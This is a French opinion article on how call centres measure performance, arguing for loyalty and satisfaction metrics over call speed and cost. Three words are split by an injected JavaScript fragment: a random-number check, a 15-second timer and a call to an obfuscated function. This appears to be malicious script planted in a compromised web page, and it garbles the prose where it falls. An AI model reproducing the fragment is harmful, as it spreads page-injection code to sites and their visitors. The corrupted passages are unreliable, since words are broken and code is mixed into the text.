Faire bonne mesure

Pour ouvrir ce thème, je vous propose une réflexion sur la question de la mesure dans les centres d’appels.

Issus du télémarketing, les centres d’appels, cherchent un peu leur univers de référence. Est-ce la communication, le marketing direct, le BPO ? De la même manière, de qui dépend-il ? La question n’est pas tranchée : le commercial, le marketing, la communication, le SAV ?

Sur un point cependant, tout le monde semble d’accord : c’est un univers industriel. (curieux d’ailleurs, pour être piloté par des communicants !).

Et qui dit industrie, dit cadences et qui dit cadences dit mesure et contrôle.

Depuis l’origine des call centers, personne ne semble remettre en cause l’évidence : on mesure les cadences non pas pour les contrôler, mais pour les accélérer. Je pose la question : en matière de relation client, quelqu’un a-t-il démontré scientifiquement qu’aller plus vite présentait un avantage réel ?

En réfléchissant superficiellement, certes, plus mes contacts sont courts en moyenne, plus je peux réduire mes effectifs pour traiter le même volume.

Mais sait-on, parallèlement, aller plus vite sans dégrader le résultat ?

La question devient alors : quel résultat ?

Parle-t-on du résultat d’exploitation ou seulement d’un objectif de réduction des coûts ?

Mais dans ces conditions, pourquoi ne pas tout simplement fermer le centre d’appels ? On atteindrait directement le meilleur résultat possible !

Non. Il est impossible d’atteindre un objectif que l’on ne s’est pas fixé.

Si on n’a pas dit quel était l’objectif d’un centre d’appels, il est impossible d’effectuer une mesure intéressante de son activité.

Sans doute est-ce pour cela que la plupart des actions de contrôle se bornent à mesurer si les appels arrivés dans le centre ont été traités, en combien de temps en moyenne et, in fine, si les dépenses réalisées ont bien été respectueuses du budget. Si l’on parle d’actions commerciales, on mesurera sans doute les ventes réalisées et leur coût d’acquisition. Mais en réception d’appels, on en reste là. Souvent.

C’est bien triste en vérité !

Quelles questions poser pour savoir quoi mesurer ?

La première question devrait être : pourquoi crée-t-on ce centre d’appels ? Comme il s’agit d’assurer des dialogues avec des clients ou des prospects, on ne peut oublier, lorsqu’on reçoit les appels, qu’il s’agit de rendre un service. Comme ce service a un coût, surtout si on souhaite qu’il soit de qualité, et qu’on accepte de payer ce prix, c’est qu’il y a un intérêt quelque part.

L’idée bien sûr est de satisfaire ces clients, que cela les attachent à la marque, pour qu’ils rachètent, recommandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande la marque à leurs proches, et qu’ils fassent ainsi le plus longtemps possible.

Également, on espère que ce client, attaché finalement à la marque, soit plus indulgent en cas d’erreur ou de dysfonctionnement. Qu’à qualité de prestation égale, il accepte, pour cette relation à la marque, de payer un peu voire beaucoup plus cher.

Donc l’essentiel, est de savoir quels services offrir pour favoriser cet attachement à la marque.

Puis, de s’attacher à réunir les conditions pour que ces services apportent bien satisfaction au client et surtout, qu’ils contribuent à créer avec lui un lien fort qui générera les bénéfices attendus.

Donc, c’est sur ces critères qu’il faudrait mesurer l’efficacité d’un centre d’appels : en diminuant les durées d’appels, ai-je un impact sur la satisfaction de mes clients ? Et sur leur fidélité ? Continueront-ils à dire du bien de ma marque à leur amis ? Sinon, quelle influence sur mon chiffre d’affaires cela peut-il avoir ?

En imposant un plafond très bas à mes coûts, je réduis l’enveloppe salariale donc, il est probable que je ne peux espèrer recruter les meilleurs, ni même motiver autant ceux qui ont accepté ce salaire, que si j’accepte une enveloppe budgétaire supérieure.

Au regard de l’économie réalisée, quel est le manque à gagner dans la durée, peut-être à l’horizon de la génération prochaine ? Un enfant qui aura entendu du mal d’une marque dans la bouche de ses parents ne risque-t-il pas d’être inconsciemment influencé ?

En définitive, quoi mesurer ?

On peut retenir la durée moyenne de fidélité, le montant de marge moyen par client, le nombre de client nouveau apporté par le bouche à oreille positif. Ceci pour les facteurs positifs. Ce ne sont que des exemples, il y en a de très nombreux autres.

Pour les facteurs négatifs, annonciateurs de départs de clients, de baisse de chiffre d’affaires et de marges, on peut citer la baisse moyenne de chiffre d’affaires par client, l’augmentation des signes de mécontentement, la baisse des signes de reconnaissance (les remerciements en fin d’entretien par exemple). On peut aussi suivre le nombre de demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes répétées pour le même motif.

Bref, en mesurant les résultats marketing stratégiques, on est plus proche de la vérité en ce qui concerne la démarche de mesure de l’activité du centre d’appels.

Mais au fait, pourquoi faut-il mesurer ?

Cette question peut sembler une boutade. Mais, si on ne mesure pas la performance du service comptable au nombre d’écritures passées à l’heure, si on ne contrôle pas le nombre de signes frappés par jour par le pool de secrétaires, si on laisse une autonomie considérable à l’équipe commerciale même, pourquoi faut-il surveiller à la limite du policier, les équipes des centres d’appels ?

La réponse la plus évidente, c’est : parce que c’est facile. C’est un des rares métiers dont l’outil de travail est directement, intrinsèquement, un outil de mesure.

Les marchandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands de PABX et de solutions techniques en ont souvent fait un argument de vente : en automatisant la composition des numéros, on pourrait faire téléphoner les conseillers 50 minutes par heure. Inutile de préciser qu’ils ignorent tout du droit du travail comme des règles physiologiques et psychologiques.

Mais aujourd’hui, il est temps de prendre du recul face à ces sujets et de rétablir une organisation qui laisse la place à la créativité, l’implication, aux vraies relations humaines.

C’est ainsi que se créeront les liens qui fidéliseront les clients à la marque.

Emmanuel Mignot, Teletech International